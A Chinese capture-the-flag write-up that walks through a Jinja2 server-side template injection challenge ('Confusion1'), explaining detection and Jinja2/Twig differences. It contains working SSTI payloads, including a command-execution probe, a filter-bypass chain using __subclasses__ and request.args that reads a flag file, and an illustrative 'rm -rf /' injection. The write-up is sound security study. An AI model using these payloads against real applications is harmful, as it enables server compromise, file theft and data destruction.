2025.2.8——二、Confusion1 SSTI模板注入|Jinja2模板

题目来源:攻防世界 Confusion1

目录

一、打开靶机,整理信息

二、解题思路

[step 1:查看网页源码信息](#step 1:查看网页源码信息)

[step 2:模板注入](#step 2:模板注入)

[step 3:构造payload,验证漏洞](#step 3:构造payload,验证漏洞)

[step 4:已确认为SSTI漏洞中的Jinjia2模板漏洞,构造payload](#step 4:已确认为SSTI漏洞中的Jinjia2模板漏洞,构造payload)

三、小结


一、打开靶机,整理信息

题目信息:php语言,可以用扫描器,

Login和Register功能都用不了,Home就是当前页面

冷知识:蟒蛇------python 大象------elePHPant

蛇缠住了大象,猜测本题中用到了php+python,网页源码中该图片名称为:PythonVsPhp

二、解题思路

step 1:查看网页源码信息

Home页面读到了网页源码信息

Login、Register页面虽然报错,但是也包含了信息(看到其他师傅的wp才发现,报错页面也是会包含信息的)

根据txt后缀,这里应该是暗示了flag的位置

step 2:模板注入

新知识:服务器模板注入(SSTI)

服务器模板注入(SSTI)

1.概念:当应用程序在处理用户输入并将其直接嵌入到模板中进行渲染,而没有进行适当的输入验证和过滤时,就可能发生 SSTI 漏洞。攻击者可以利用这个漏洞,通过精心构造恶意输入,让模板引擎执行恶意代码,从而控制服务器。

2.攻击原理

  • 模板引擎工作流程 :正常情况下,模板引擎从应用程序获取数据,将数据填充到模板的占位符中,然后生成最终的 HTML 页面返回给用户。例如,一个简单的模板可能是 "Hello, {{username}}!",其中 {``{username}} 是占位符,应用程序会将实际的用户名数据填充进去。
  • 攻击方式 :攻击者利用 SSTI 漏洞,将恶意代码作为数据输入,模板引擎会把这些恶意代码当作合法的模板指令进行解析和执行。例如,在某些支持 Python 代码执行的模板引擎中,攻击者可能输入 {``{__import__('os').system('rm -rf /')}},这条恶意代码如果被执行,就可能删除服务器根目录下的所有文件(在 Linux 系统中),造成严重破坏。

3.检测方法

  • 手动测试 :在输入处输特殊字符与模板语句,如 Jinja2 中输{``{7*7}} ,看能否执行。故意输错引发报错,分析含模板引擎调试信息的错误提示,判断是否存在漏洞。
  • 自动化扫描工具:借助 OWASP ZAP 等 Web 漏洞扫描器,模拟攻击场景检测。利用 Bandit 等代码扫描工具,排查开发代码中用户输入直接嵌入模板且无过滤的风险。
  • 日志分析:审查 Web 服务器日志,找含模板语法或恶意代码的异常请求。查看应用程序日志,依据处理用户输入时的异常记录,判断是否存在 SSTI 漏洞。

如果处于解题阶段,可以挨个尝试漏洞(需要很大的知识储备量),但是学习的目的是为了增加知识储备量,所以学会漏洞原理以及出现场景才是重点。

参考思路:https://blog.csdn.net/l8947943/article/details/122241240

step 3:构造payload,验证漏洞

构造如下payload:(Login.php页面同样效果)

复制代码
/register.php/{{7*7}}}

说明存在SSTI漏洞,继续测试

复制代码
/register.php/{{7*'7'}}}

成功回显,说明是Jinja2或Twig模板

Jinja2

1.解释:Jinja2 是 Python 中一个非常流行的模板引擎,就像是一个神奇的 "代码模板加工厂" ,帮助开发者轻松创建动态网页或生成各种格式化文本。

2.基本用途:

  • 动态网页生成:在 Web 开发中,你可能需要根据不同用户请求,展示不同数据的网页。比如,电商网站要根据每个用户的浏览历史,展示个性化推荐商品列表。使用 Jinja2,你可以创建一个网页模板,里面预留一些 "空位",然后根据具体数据来填充这些 "空位",快速生成动态网页。
  • 配置文件生成:在开发过程中,有时需要生成各种配置文件。比如,为不同的服务器环境生成对应的数据库连接配置文件。Jinja2 能依据通用的配置模板和特定环境参数,生成准确的配置文件。

3.基础语法------Python表达式

  • 变量 :用 {``{ variable_name }} 来表示。变量就是你在 Python 代码中定义好,要传递到模板中的数据。例如,在 Python 代码中定义 name = "Alice",在 Jinja2 模板里就可以用 {``{ name }} 来显示 "Alice"。
  • 控制结构
    • if 语句 :类似于 Python 中的 if 条件判断。例如,{% if user.is_authenticated %} 欢迎,{``{ user.name }}! {% else %} 请登录 {% endif %},它会根据 user.is_authenticated 的真假来决定显示哪部分内容。
    • for 循环 :用于遍历列表等可迭代对象。比如,有一个商品列表 products = ['手机', '电脑', '平板'],在模板中可以用 {% for product in products %} <li>{``{ product }}</li> {% endfor %},这样就能循环展示每个商品列表项。
  • 过滤器 :对变量进行处理。例如,{``{ "hello world" | capitalize }},这里 capitalize 是过滤器,它会把字符串 "hello world" 首字母大写,结果为 "Hello world"。常用过滤器还有 length(获取字符串或列表长度)、format(格式化字符串)等。
    Twig模板

1.简述:展示逻辑分离。Twig 允许开发者创建模板文件,其中包含静态内容(如 HTML 标签)和动态占位符,然后通过 PHP 代码将动态数据填充到这些占位符中,最终生成完整的输出页面。

2.基本语法:

  • 变量输出 :使用双花括号 {``{ }} 来输出变量。例如,在 PHP 代码中定义了一个变量 $name = 'John';,在 Twig 模板中可以使用 {``{ name }} 来输出这个变量的值。
  • 控制结构
    • if 语句:用于条件判断。

    • for 循环:用于遍历数组或对象。

    • 过滤器 :用于对变量进行处理。例如,{``{ text|upper }} 会将 text 变量的值转换为大写。常用的过滤器还有 length(获取字符串或数组的长度)、date(格式化日期)等。

二者差异性:Jinja2 的语法相对更灵活一些,能支持更多 Python 风格的表达式。Twig 语法更多遵循 PHP 的规范和习惯。

区分方法:用python的表达式,看能否正确解析,成功则为Jinja2,否则为Twig

  • Jinja2
    • Python 风格表达式 :尝试输入 Python 风格的表达式,如 {``{ [1, 2, 3][0] }} (列表索引操作)或 {``{ __import__('os').system('id') }} (尝试执行系统命令,在有漏洞情况下)。如果页面能正确解析并执行这些 Python 风格的操作,很可能是 Jinja2 模板引擎。因为 Jinja2 与 Python 紧密结合,支持这类 Python 表达式。
    • 内置函数 :测试 Jinja2 特有的内置函数,如 {``{ cycler('a', 'b').next() }} ,若能得到预期结果,则可辅助判断为 Jinja2。
  • Twig
    • PHP 相关特性 :输入符合 PHP 语法习惯的内容。例如,测试 Twig 中特有的功能,如使用 date 过滤器按照 PHP 的日期格式进行日期处理,输入 {``{ "now"|date("Y-m-d") }} ,如果能正确显示格式化后的日期,更倾向于是 Twig 模板。

传参:/register.php/{{ import('os').system('id') }}

得到回复:不要使用这种方法------意为该漏洞存在,说明方向正确

传参:/register.php/{{ "now"|date("Y-m-d") }}

得到回复:不行!换一种方法

由此可以确定是Jiinjia2模板,这里也验证了Home页面的图片,蟒蛇python更胜一筹

step 4:已确认为SSTI漏洞中的Jinjia2模板漏洞,构造payload

使用python的open函数来读取文件,构造payload如下

复制代码
/register.php/{{ open('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read() }}

回显失败,应该是被过滤了,再次构造

getattr函数

1.Python内置函数,主要用于获取对象的属性值。

2.语法和参数

getattr(object, name[, default])

  • object:必选参数,要获取属性的对象,可以是自定义类的实例、内置对象(如列表、字典等)。
  • name:必选参数,字符串类型,表示要获取的属性名。
  • default :可选参数,如果指定的属性不存在,返回该默认值;若未提供该参数,且属性不存在,则会引发 AttributeError 异常。
复制代码
/register.php/{{ ''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt' ).read() }}

仍然回显错误,尝试逐字符拼接函数名

复制代码
/register.php/{{ ''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt' )[ 'r' + 'e' + 'a' + 'd' ]() }}

仍然被过滤,下面用到了request函数,构造payload

复制代码
/register.php/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

得到了flag回显。

以上payload解释:

以一个空字符串 '' 作为起始对象,因为在 Python 中,所有对象都继承自 object 类,我们可以通过空字符串对象逐步向上查找类层次结构

''.class:获取空字符串对象的类,即 str 类。

mro:是 Python 类的一个属性,它表示方法解析顺序(Method Resolution Order),是一个包含类层次结构的元组。

2\]:通过索引 2 可以从 str 类的 __mro__ 元组中获取到 object 类。在 Python 中,object 类是所有类的基类,我们可以通过它获取所有子类列表 __subclasses__() 是 Python 类的一个方法,它会返回该类的所有直接子类组成的列表 索引 40 对应的类通常是 _io.TextIOWrapper 类(在 Python 3 中)或者 file 类(在 Python 2 中),这个类可以用于文件的读写操作 调用 _io.TextIOWrapper 类的构造函数,传入要读取的文件路径,从而打开指定文件 .read():调用打开文件对象的 read 方法,读取文件的全部内容 payload以及注释摘自:[3.攻防世界 Confusion1(服务器模板注入SSTI)-CSDN博客](https://blog.csdn.net/2401_86760082/article/details/145503833 "3.攻防世界 Confusion1(服务器模板注入SSTI)-CSDN博客") request是Flask框架的一个全局对象,表示"当前请求的对象(flask.request)" Flask框架 1.基本概念:Flask 是一个轻量级的 Python Web 框架,它只提供了 Web 应用的核心功能,如路由、请求处理、响应返回等。开发者可以根据项目需求自由选择和集成各种扩展,这种灵活性使得 Flask 既适合初学者学习 Web 开发,也适合开发小型到大型的各种 Web 项目。 2.主要特点: * **轻量级与简洁性**:Flask 的核心代码简洁,易于理解和上手。它不强制使用特定的数据库、模板引擎或其他组件,开发者可以根据自己的喜好进行选择。例如,Flask 本身不自带数据库操作功能,但可以轻松集成 SQLAlchemy(用于关系型数据库)或 MongoEngine(用于 MongoDB)等数据库操作库。 * **高度可扩展性**:拥有丰富的扩展生态系统,涵盖了从用户认证、数据库操作到缓存管理等各个方面。例如,Flask-Login 可用于用户登录管理,Flask-SQLAlchemy 简化了数据库操作,Flask-Caching 可以实现缓存功能。 * **灵活性**:允许开发者自由组织项目结构,无论是小型的单文件应用,还是大型的模块化项目,Flask 都能很好地适应。开发者可以根据业务需求灵活设计路由、视图函数和模板结构。

三、小结

1.SSTI模板注入,以下流程很重要

逐步排查验证,然后构造payload

2.Jinja2模板和Twig模板区别在于,前者更多使用Python,后者更多使用php语言,可以从两种语言的不同进行区分两种模板

3.SSTI模板注入和前面做过的xss模板注入的沙箱逃逸,都用到了双花括号中加入计算式进行验证漏洞,以后也可以多使用,看是否能遇到相似题目

相关推荐
2401_8784545327 分钟前
es6初步学习
学习·ajax·es6
刘阿去1 小时前
lua C语言api学习4 编写C模块
c语言·学习·lua
数字供应链安全产品选型2 小时前
2025移动端软件供应链安全开源治理方案最佳实践
网络·人工智能·安全·开源·开源软件
Three~stone2 小时前
Vue学习笔记集--六大指令
vue.js·笔记·学习
电子艾号哲3 小时前
STC89C52单片机学习——第20节: [8-2]串口向电脑发送数据&电脑通过串口控制LED
单片机·学习·电脑
qq_589568103 小时前
java学习笔记3
java·笔记·学习
006_3 小时前
springboot websocket语音识别翻译
网络·websocket·网络协议
朱剑君3 小时前
人工智能与机器学习——系统学习规划
人工智能·学习·机器学习
你可以叫我仔哥呀3 小时前
k8s学习记录(三):Pod基础-Node选择
学习·docker·kubernetes
one day3214 小时前
Selenium 自动化测试学习总结
学习·selenium·测试工具